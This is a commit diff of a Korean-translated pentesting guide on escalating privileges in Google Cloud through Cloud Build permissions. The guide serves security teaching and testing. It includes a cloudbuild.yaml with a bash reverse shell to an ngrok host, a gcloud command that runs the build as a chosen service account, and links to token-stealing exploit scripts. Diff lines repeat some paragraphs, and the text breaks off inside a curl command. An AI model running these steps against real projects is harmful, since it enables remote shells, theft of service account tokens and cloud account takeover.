Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

This commit is contained in:
Translator
2025-08-18 14:48:22 +00:00
parent 264180f4e9
commit 7b60687043
@@ -12,22 +12,34 @@ Cloud Build에 대한 자세한 정보는 다음을 확인하세요:
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
이 권한으로 **클라우드 빌드를 제출**할 수 있습니다. cloudbuild 머신의 파일 시스템에는 **기본적으로 cloudbuild 서비스 계정의 토큰**이 포함되어 있습니다: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. 그러나 클라우드빌드 구성에서 **프로젝트 내의 모든 서비스 계정을 지정할 수 있습니다**.\
이 권한을 사용하면 **클라우드 빌드를 제출할 수 있습니다**. cloudbuild 머신의 파일 시스템에는 **기본적으로 cloudbuild 서비스 계정의 토큰**이 포함되어 있습니다: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. 그러나 클라우드빌드 구성에서 **프로젝트 내의 모든 서비스 계정을 지정할 수 있습니다**.\
따라서 머신이 토큰을 서버로 유출하거나 **그 안에서 리버스 셸을 얻어 토큰을 가져올 수 있습니다** (토큰이 포함된 파일은 변경될 수 있습니다).
원래의 익스플로잇 스크립트는 [**여기 GitHub에서**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) 찾을 수 있습니다 (하지만 토큰을 가져오는 위치는 저에게는 작동하지 않았습니다). 따라서 [**취약한 환경의 생성, 익스플로잇 및 정리를 자동화하는 스크립트는 여기에서**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) 확인하고, 클라우드빌드 머신 내에서 리버스 셸을 얻고 [**토큰을 훔치는 파이썬 스크립트는 여기에서**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) 확인하세요 (코드에서 다른 서비스 계정을 지정하는 방법을 찾을 수 있습니다)**.**
#### gcloud CLI를 통한 직접적인 악용
1- `cloudbuild.yaml`을 생성하고 리스너 데이터로 수정합니다.
```yaml
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
options:
logging: CLOUD_LOGGING_ONLY
```
2- 소스가 없는 간단한 빌드를 업로드하고, yaml 파일과 빌드에 사용할 SA를 지정합니다:
```bash
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
```
#### Using python gcloud library
원래의 익스플로잇 스크립트는 [**여기 GitHub에서**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) 찾을 수 있습니다 (하지만 토큰을 가져오는 위치는 저에게는 작동하지 않았습니다). 따라서 [**취약한 환경의 생성, 익스플로잇 및 정리를 자동화하는 스크립트는 여기에서**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) 확인하고, 클라우드빌드 머신 내에서 리버스 셸을 얻고 [**탈취하는 파이썬 스크립트는 여기에서**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) 확인하세요 (코드에서 다른 서비스 계정을 지정하는 방법을 찾을 수 있습니다)**.**
더 자세한 설명은 [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)를 방문하세요.
### `cloudbuild.builds.update`
**잠재적으로** 이 권한으로 **클라우드 빌드를 업데이트하고 서비스 계정 토큰을 훔칠 수 있습니다**. 이전 권한으로 수행된 것처럼 (하지만 불행히도 이 글을 쓰는 시점에서 해당 API를 호출할 방법을 찾을 수 없었습니다).
TODO
### `cloudbuild.repositories.accessReadToken`
이 권한으로 사용자는 리포지토리에 접근하는 데 사용되는 **읽기 접근 토큰**을 얻을 수 있습니다:
이 권한을 가진 사용자는 리포지토리에 접근하는 데 사용되는 **읽기 접근 토큰**을 얻을 수 있습니다:
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \